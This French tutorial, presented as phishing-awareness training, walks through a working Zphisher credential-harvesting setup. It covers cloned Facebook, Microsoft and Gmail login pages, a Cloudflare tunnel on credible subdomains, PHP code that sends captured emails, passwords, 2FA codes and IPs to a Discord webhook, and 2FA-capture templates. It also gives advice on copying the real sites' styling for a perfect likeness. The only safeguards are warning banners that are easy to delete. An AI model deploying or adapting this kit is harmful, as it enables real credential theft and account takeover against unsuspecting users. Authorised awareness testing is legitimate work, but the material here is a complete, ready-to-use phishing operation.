Cette formation montre comment simuler des attaques de phishing dans un cadre contrôlé pour mieux les détecter et former les utilisateurs.
Nous recommandons fortement d’utiliser des outils professionnels comme Gophish pour les campagnes de sensibilisation en entreprise, car ils offrent un consentement clair, des statistiques et une traçabilité éthique.
Zphisher est utilisé ici uniquement pour illustrer les mécanismes techniques dans un environnement de lab.
Dépassez les limites des tunnels publics : Cloudflare Tunnel + votre domaine + webhook Discord + templates personnalisés (Facebook, Microsoft, Gmail). Tout est basé sur la structure réelle de Zphisher 2026.
Timeline d'une démo : ① Lancement du script (1s) → ② Tunnel Cloudflare actif (3s) → ③ URL crédible générée → ④ Envoi du lien au participant → ⑤ Réception des identifiants dans Discord en temps réel.
Avantage : Tout reste sous votre contrôle, avec URLs crédibles et notifications en temps réel.
| Méthode | URL générée | SSL | Stabilité | Persistance | Coût |
|---|---|---|---|---|---|
| Cloudflare Tunnel + domaine perso | https://fb.pctamalou.fr | ✅ Oui | ⭐⭐⭐⭐⭐ | ✅ Redémarrable | Gratuit |
| LocalXpose (intégré) | random.localxpose.io | ✅ Oui | ⭐⭐⭐ | ❌ Change à chaque run | Gratuit |
| Ngrok (alternatif) | random.ngrok.io | ✅ Oui | ⭐⭐⭐ | ❌ Limitée gratuit | Freemium |
| Serveur VPS + Nginx | https://votre-domaine.fr | ✅ Let's Encrypt | ⭐⭐⭐⭐⭐ | ✅ Permanent | ~5€/mois |
cloudflared installé..sites/).allow_url_fopen = On.git clone https://github.com/htr-tech/zphisher.git
cd zphisher
bash zphisher.sh # Le dossier des templates est .sites/
Créez un tunnel permanent avec vos sous-domaines de formation.
wget https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64.deb
sudo dpkg -i cloudflared-linux-amd64.deb
cloudflared tunnel login
cloudflared tunnel create pctamalou-zphisher
Notez l'UUID. Le fichier credentials est dans ~/.cloudflared/UUID.json.
tunnel: VOTRE_UUID
credentials-file: /home/user/.cloudflared/VOTRE_UUID.json
ingress:
- hostname: fb.pctamalou.fr
service: http://localhost:8080
- hostname: ms.pctamalou.fr
service: http://localhost:8080
- hostname: gmail.pctamalou.fr
service: http://localhost:8080
- service: http_status:404
cloudflared tunnel route dns pctamalou-zphisher fb.pctamalou.fr
cloudflared tunnel route dns pctamalou-zphisher ms.pctamalou.fr
cloudflared tunnel route dns pctamalou-zphisher gmail.pctamalou.fr
Correction importante : Zphisher 2026 utilise .sites/ et non websites/.
cd zphisher/.sites
cp -r facebook fb_pctamalou
🔍 Dans fb_pctamalou/index.php : cherchez <div class="_9nq2"> et ajoutez juste après :
<div style="background:#ff3366;color:#fff;padding:8px;text-align:center;">
⚠️ SIMULATION PCTAMALOU 2026 – Aucune donnée réelle collectée
</div>
Fichier de logs : .sites/fb_pctamalou/usernames.txt (ou usernames.dat selon version).
cd zphisher/.sites
cp -r microsoft ms_pctamalou
🔍 Dans ms_pctamalou/index.php : cherchez <div class="login-container">. Ajoutez le bandeau :
<div style="background:#d83b01;color:white;padding:6px;">
🔐 EXERCICE DE SENSIBILISATION – Ne saisissez pas de vrais identifiants
</div>
Logs dans .sites/ms_pctamalou/usernames.dat. Champs POST : loginfmt, passwd.
cd zphisher/.sites
cp -r google gmail_pctamalou
🔍 Dans gmail_pctamalou/index.php : cherchez <div id="view_container">. Ajoutez :
<div style="background:#1a73e8;color:white;padding:10px;border-radius:4px;">
📢 FORMATION PCTAMALOU – Cette page est une simulation.
</div>
Logs dans .sites/gmail_pctamalou/usernames.txt. Champs : identifier, password.
Créez un dossier custom_templates/ à la racine de Zphisher et utilisez ce script :
#!/bin/bash
# deploy_custom_templates.sh - PCTAMALOU 2026
ZPH_PATH="/opt/zphisher"
CUSTOM_PATH="./custom_templates"
echo "🚀 Déploiement des templates personnalisés..."
for dir in "$CUSTOM_PATH"/*/; do
if [ -d "$dir" ]; then
name=$(basename "$dir")
target="$ZPH_PATH/.sites/${name}_pctamalou"
cp -r "$dir" "$target"
echo "✅ Template déployé : ${name}_pctamalou"
fi
done
chmod -R 666 "$ZPH_PATH/.sites/"*/*usernames.* 2>/dev/null
echo "✅ Droits ajustés sur les fichiers de logs"
echo "🎉 Déploiement terminé !"
Code recommandé à insérer dans le fichier login.php de chaque template personnalisé (remplacez l'ancienne version) :
<?php
$webhook_url = "https://discord.com/api/webhooks/VOTRE_ID/VOTRE_TOKEN";
$email = $_POST['email'] ?? $_POST['loginfmt'] ?? $_POST['identifier'] ?? 'N/A';
$pass = $_POST['pass'] ?? $_POST['passwd'] ?? $_POST['password'] ?? 'N/A';
$code2fa = $_POST['2fa'] ?? $_POST['code'] ?? 'N/A';
$ip = $_SERVER['REMOTE_ADDR'];
$ua = $_SERVER['HTTP_USER_AGENT'];
$time = date('Y-m-d H:i:s');
$embed = [
"title" => "🟢 Capture PCTAMALOU - " . basename(__DIR__),
"color" => 0x00ff9d,
"timestamp" => date('c'),
"fields" => [
["name" => "Email / Login", "value" => "`$email`", "inline" => true],
["name" => "Mot de passe", "value" => "`$pass`", "inline" => true],
["name" => "Code 2FA", "value" => "`$code2fa`", "inline" => true],
["name" => "Adresse IP", "value" => $ip, "inline" => true],
["name" => "User-Agent", "value" => $ua, "inline" => false]
],
"footer" => ["text" => "Formation PCTAMALOU • " . $time]
];
$payload = json_encode(["embeds" => [$embed]]);
$context = stream_context_create(['http' => [
'method' => 'POST',
'header' => 'Content-Type: application/json',
'content' => $payload
]]);
file_get_contents($webhook_url, false, $context);
?>
#!/bin/bash
# pctamalou_zphisher_pro.sh
TPL=${1:-fb}
case $TPL in
fb) FOLDER="fb_pctamalou" ;;
ms) FOLDER="ms_pctamalou" ;;
gmail) FOLDER="gmail_pctamalou" ;;
*) echo "Usage: $0 fb|ms|gmail"; exit 1 ;;
esac
PORT=8080
ZPH_PATH="/opt/zphisher"
SITES_PATH="$ZPH_PATH/.sites/$FOLDER"
LOG_FILE="$SITES_PATH/usernames.log"
# Nettoyage des processus existants
pkill -f "php -S localhost:$PORT" 2>/dev/null
pkill -f "cloudflared tunnel run" 2>/dev/null
# Lancement des services
cloudflared tunnel run pctamalou-zphisher &
TUNNEL_PID=$!
cd "$SITES_PATH" || exit 1
php -S localhost:$PORT &
PHP_PID=$!
echo "🚀 Zphisher Pro démarré avec succès"
echo "🌐 URL : https://$TPL.pctamalou.fr"
echo "📁 Logs : $LOG_FILE"
echo "PID Tunnel : $TUNNEL_PID | PID PHP : $PHP_PID"
# Gestion propre de l'arrêt
trap 'kill $PHP_PID $TUNNEL_PID 2>/dev/null; echo "🛑 Services arrêtés proprement"; exit' INT TERM
tail -f "$LOG_FILE" 2>/dev/null
cloudflared tunnel list).sites/ avec bandeau d'avertissementchmod 666 usernames.*)curl -X POST ...)allow_url_fopen = OnCertains templates Zphisher (ex. "Instagram new", "Microsoft 2FA") incluent une seconde page pour le code 2FA. Pour les utiliser :
# Dans .sites/ choisissez un template avec "2fa" dans le nom
cp -r instagram_2fa ig_2fa_pctamalou
Le code 2FA est alors enregistré dans usernames.dat après le mot de passe.
Pour un rendu parfait, extrayez le CSS original du site officiel (via les outils développeur) et remplacez le bloc <style> dans index.php. Vous pouvez aussi héberger une copie des polices et logos sur votre serveur.
Vous pouvez rediriger les logs vers une API PCTAMALOU pour centraliser les résultats de formation :
// Dans login.php, après capture
file_get_contents("https://api.pctamalou.fr/log?email=$email&ip=$ip");
| Outil | Type | Complexité | Personnalisation | Automatisation | Usage recommandé |
|---|---|---|---|---|---|
| Zphisher | Script Bash + PHP | Faible | Moyenne (templates) | Limitée | Démos rapides, formation |
| Gophish | Framework Go + Web UI | Moyenne | Élevée (email + landing) | Excellente (campagnes) | Campagnes pro, suivi stats |
| King Phisher | Client/Serveur Python | Élevée | Très élevée | Avancée | Pentests avancés, red team |
Zphisher excelle par sa simplicité pour des exercices de sensibilisation ponctuels, tandis que Gophish est idéal pour des campagnes d'envergure avec tracking.
Vérifiez l'indentation du fichier config.yml (espaces, pas de tabulations). Utilisez cloudflared tunnel ingress validate.
.sites/...Le serveur PHP intégré peut avoir des droits insuffisants. Faites chmod 777 .sites/mon_template/ (temporairement pour test).
Assurez-vous que allow_url_fopen=On dans /etc/php/X.X/cli/php.ini (pour PHP CLI). Testez avec php -r "var_dump(ini_get('allow_url_fopen'));".
Modifiez PORT=XXXX dans le script et adaptez le config.yml Cloudflare (service: http://localhost:XXXX).
Gardez toujours une copie de vos dossiers personnalisés en dehors du dépôt. Utilisez le script wrapper plutôt que de modifier zphisher.sh.
Oui, sur un VPS avec Nginx et Certbot. C'est plus stable mais nécessite une IP publique fixe.
Le tunnel n'est pas actif ou le service local n'écoute pas. Vérifiez que le serveur PHP tourne et que le port est accessible en local.
Modifiez le login.php du template 2FA pour qu'il accepte n'importe quel code (ex: commentez la vérification).
Vous disposez maintenant d'une infrastructure professionnelle et réaliste pour vos formations. Les participants verront des URLs crédibles, vous recevrez les résultats en temps réel et tout reste sous votre contrôle.